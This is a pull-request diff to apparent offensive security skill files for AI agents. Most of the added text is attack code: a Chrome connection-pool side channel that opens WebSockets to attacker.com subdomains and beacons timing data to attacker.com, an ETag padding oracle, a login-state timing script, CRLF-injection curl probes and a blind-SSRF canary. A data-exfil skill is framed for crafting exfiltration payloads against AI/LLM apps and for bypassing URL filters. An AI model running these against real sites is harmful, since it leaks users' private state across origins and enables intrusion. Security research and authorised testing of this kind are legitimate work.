Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
53 changes: 7 additions & 46 deletions capabilities/web-security/skills/agent-browser/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -195,59 +195,21 @@ agent-browser click @e5
agent-browser wait --load networkidle
```

### Authentication with Auth Vault (Recommended)
### Authentication (see [references/authentication.md](references/authentication.md) for full details)

```bash
# Save credentials once (encrypted with AGENT_BROWSER_ENCRYPTION_KEY)
# Recommended: pipe password via stdin to avoid shell history exposure
# Auth vault (recommended): credentials stored encrypted, LLM never sees password
echo "pass" | agent-browser auth save github --url https://github.com/login --username user --password-stdin

# Login using saved profile (LLM never sees password)
agent-browser auth login github

# List/show/delete profiles
agent-browser auth list
agent-browser auth show github
agent-browser auth delete github
```

### Authentication with State Persistence

```bash
# Login once and save state
agent-browser open https://app.example.com/login
agent-browser snapshot -i
agent-browser fill @e1 "$USERNAME"
agent-browser fill @e2 "$PASSWORD"
agent-browser click @e3
agent-browser wait --url "**/dashboard"
agent-browser state save auth.json

# Reuse in future sessions
agent-browser state load auth.json
agent-browser open https://app.example.com/dashboard
```

### Session Persistence

```bash
# Auto-save/restore cookies and localStorage across browser restarts
# Session persistence: auto-save/restore across restarts
agent-browser --session-name myapp open https://app.example.com/login
# ... login flow ...
agent-browser close # State auto-saved to ~/.agent-browser/sessions/

# Next time, state is auto-loaded
agent-browser --session-name myapp open https://app.example.com/dashboard

# Encrypt state at rest
export AGENT_BROWSER_ENCRYPTION_KEY=$(openssl rand -hex 32)
agent-browser --session-name secure open https://app.example.com
agent-browser close # State auto-saved

# Manage saved states
agent-browser state list
agent-browser state show myapp-default.json
agent-browser state clear myapp
agent-browser state clean --older-than 7
# State files: manual save/load
agent-browser state save auth.json
agent-browser state load auth.json
```

### Data Extraction
Expand Down Expand Up @@ -621,4 +583,3 @@ Supported engines:
- `lightpanda` -- Lightpanda headless browser via CDP (10x faster, 10x less memory than Chrome)

Lightpanda does not support `--extension`, `--profile`, `--state`, or `--allow-file-access`. Install Lightpanda from https://lightpanda.io/docs/open-source/installation.

2 changes: 2 additions & 0 deletions capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,8 @@ Chain: `attacker -> SSRF -> internal service -> outbound request -> OOB callback

Services that make outbound requests when hit via SSRF: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard, W3 Total Cache. Hit them internally, they fetch your callback URL, confirming exploitation.

**Checkpoint:** Before attempting payloads, confirm blind SSRF with a canary: `?url=http://YOUR-OOB-SERVER/ssrf-test`. If no callback received, the SSRF may not be server-side.

## Fingerprinting (Blind)

| Signal | Technique |
Expand Down
87 changes: 53 additions & 34 deletions capabilities/web-security/skills/browser-side-channel/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,69 +13,88 @@ description: Browser-based side channel attacks for cross-origin data leaks via
## Techniques

### XSS-Leak via Connection Pool Exhaustion (Chrome)
Exploit Chrome's per-process socket pool limit to leak cross-origin redirects:

1. **Saturate** Chrome's 256-connection pool (open 255 persistent connections)
2. **Trigger** a cross-origin navigation that may redirect based on state
3. **Measure** which host resolves next — Chrome resolves DNS in lexicographic order when pool is full
3. **Measure** which host resolves next -- DNS timing differs under pool exhaustion
4. **Binary search** the leaked hostname character by character

Prerequisites: Victim visits attacker page, target redirects to different hosts based on auth state.

Test setup:
```javascript
// Saturate pool with 255 WebSocket connections to different hosts
for (let i = 0; i < 255; i++) {
new WebSocket(`wss://pad-${i}.attacker.com/hold`);
}
// Trigger cross-origin fetch — redirect destination leaks via timing
fetch('https://target.com/auth-redirect', {mode: 'no-cors'});
// Measure: if redirect went to admin.target.com vs login.target.com
// the DNS resolution timing differs due to pool exhaustion ordering
// Trigger cross-origin fetch -- redirect destination leaks via timing
const start = performance.now();
fetch('https://target.com/auth-redirect', {mode: 'no-cors'}).then(() => {
const elapsed = performance.now() - start;
// admin.target.com vs login.target.com have different DNS timing under pool exhaustion
navigator.sendBeacon('https://attacker.com/log', `elapsed=${elapsed}`);
});
```

**Checkpoint:** If timing variance between states is <5ms, increase sample count to 50+ and average. If WebSocket connections drop, server may be closing idle sockets -- send keepalive pings via `setInterval`.

### Cross-Site ETag Length Oracle (Express.js)
Exploit Express's default 16KB header limit to create a boolean oracle:

1. **Observe**: Express auto-generates ETag headers for responses
2. **Trigger**: Browser caches ETag, sends it back as `If-None-Match`
3. **Overflow**: Pad the request to approach 16KB header limit
4. **Differentiate**: If ETag is long (large response) → 431 error. If short → 304 Not Modified.
5. **Leak**: Response size reveals content (e.g., admin panel vs 403)
4. **Differentiate**: Long ETag (large response) -> 431 error. Short -> 304 Not Modified.

```http
GET /api/user/profile HTTP/1.1
If-None-Match: "cached-etag-value"
X-Pad: AAAA...AAAA (pad to ~16KB minus ETag length threshold)
```
- 431 = ETag + padding exceeded 16KB → response was large (user exists, has data)
- 304 = ETag matched, response was small → different state
- 431 = ETag + padding exceeded 16KB -> response was large (user exists, has data)
- 304 = ETag matched, response was small -> different state

**Checkpoint:** Send without padding first to confirm normal 200/304 behavior. Then binary search padding length: if 431 at N bytes but not N-100, ETag is between (16384-N) and (16384-N+100) bytes.

### Timing-Based State Detection
Measure response time differences for cross-origin requests:
```javascript
const start = performance.now();
const img = new Image();
img.onload = img.onerror = () => {
const elapsed = performance.now() - start;
// Authenticated responses often larger/slower than 302 redirects
if (elapsed > THRESHOLD) { /* user is logged in */ }
};
img.src = 'https://target.com/dashboard-asset';

```html
<script>
async function detectLoginState(targetUrl, samples = 30) {
const times = [];
for (let i = 0; i < samples; i++) {
const start = performance.now();
await new Promise(resolve => {
const img = new Image();
img.onload = img.onerror = resolve;
img.src = targetUrl + '?cachebust=' + Math.random();
});
times.push(performance.now() - start);
}
const mean = times.reduce((a, b) => a + b) / times.length;
const stddev = Math.sqrt(times.reduce((s, t) => s + (t - mean) ** 2, 0) / times.length);
return { mean: mean.toFixed(1), stddev: stddev.toFixed(1), samples: times.length };
}

// Logged-in: ~200ms+ (full page). Logged-out: ~50ms (302 redirect).
detectLoginState('https://target.com/dashboard-asset').then(r =>
console.log(`Mean: ${r.mean}ms, StdDev: ${r.stddev}ms`)
);
</script>
```

**Checkpoint:** Run against a known-state endpoint first to establish baseline. If stddev >30% of mean, network jitter is too high -- increase sample count or use HTTP/2 multiplexing.

### Cache Probing
Detect if a user has visited a URL by measuring cache hit vs miss timing:
- Cached resource loads in ~1-2ms
- Network fetch takes 50ms+
- Reveals browsing history for same-origin resources
Cached resource loads in ~1-2ms vs network fetch at 50ms+. Reveals browsing history for same-site resources.

**Checkpoint:** Clear cache and re-measure to confirm delta is reproducible. Modern browsers partition cache by top-level site -- this only works for same-site resources.

## Workflow

## Detection Checklist
1. Map target redirects that differ based on auth/role state
2. Identify response size differences between states (admin vs user vs anon)
3. Check if Express.js (ETag auto-generation) or similar framework in use
4. Test `performance.now()` timing resolution in target browser
5. Determine if attack requires user interaction or is fully passive

## Key Insight
These attacks don't require XSS — they exploit browser resource management (sockets, cache, headers) as an oracle. The information leaks through metadata (timing, status codes, resource limits), not content.
4. Select technique based on available signal:
- Size difference -> ETag oracle
- Redirect difference -> connection pool exhaustion
- Timing difference -> timing-based detection
5. Run PoC with >=30 samples, calculate mean/stddev
6. If stddev > mean/3 -> increase samples or try different technique
7. Confirm cross-origin: PoC must work from attacker origin, not same-origin
14 changes: 10 additions & 4 deletions capabilities/web-security/skills/crlf-response-splitting/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -59,10 +59,16 @@ If you can inject only one CRLF and not split the body, useful follow-on headers
- `Refresh: 0;url=https://attacker.example`
- cache-control mutations for poisoning

## Indicators
- Header reflection preserves CRLF characters
- `%0d%0a` behaves differently from `%0a`
- CSP blocks inline payloads but allows same-origin scripts
## Detection
```bash
# Test for CRLF injection in headers
curl -sD- "https://target.com/endpoint?param=test%0d%0aX-Injected:true" | rg "X-Injected"

# Compare %0d%0a vs %0a behavior
curl -sD- "https://target.com/endpoint?param=test%0a%0aX-Injected:true" | rg "X-Injected"
```

**Checkpoint:** If `X-Injected` appears in response headers with `%0d%0a` but not with `%0a` alone, CRLF injection is confirmed. Check CSP with `curl -sD- URL | rg -i "content-security-policy"` to determine if nested splitting is needed.

## Chain With
- `web-cache-deception-path`
Expand Down
11 changes: 2 additions & 9 deletions capabilities/web-security/skills/data-exfil/SKILL.md
Original file line number Diff line number Diff line change
@@ -1,14 +1,7 @@
---
name: data-exfil
description: |
AI/LLM data exfiltration techniques via rendered markdown, HTML-in-markdown, tool artifacts, domain encoding, and url_safe bypasses. Use when crafting exfil payloads for AI red teaming, analyzing AI app rendering pipelines for exfil surfaces, bypassing URL filters/sanitizers, or reviewing AI-generated output for exfil risk.
allowed-tools:
- read
- write
- edit_file
- bash
- grep
- glob
description: AI/LLM data exfiltration techniques via rendered markdown, HTML-in-markdown, tool artifacts, domain encoding, and url_safe bypasses. Use when crafting exfil payloads for AI red teaming, analyzing AI app rendering pipelines for exfil surfaces, bypassing URL filters/sanitizers, or reviewing AI-generated output for exfil risk.
allowed-tools: read, write, edit_file, bash, grep, glob
---

# AI Data Exfiltration Techniques
Expand Down
Loading
Loading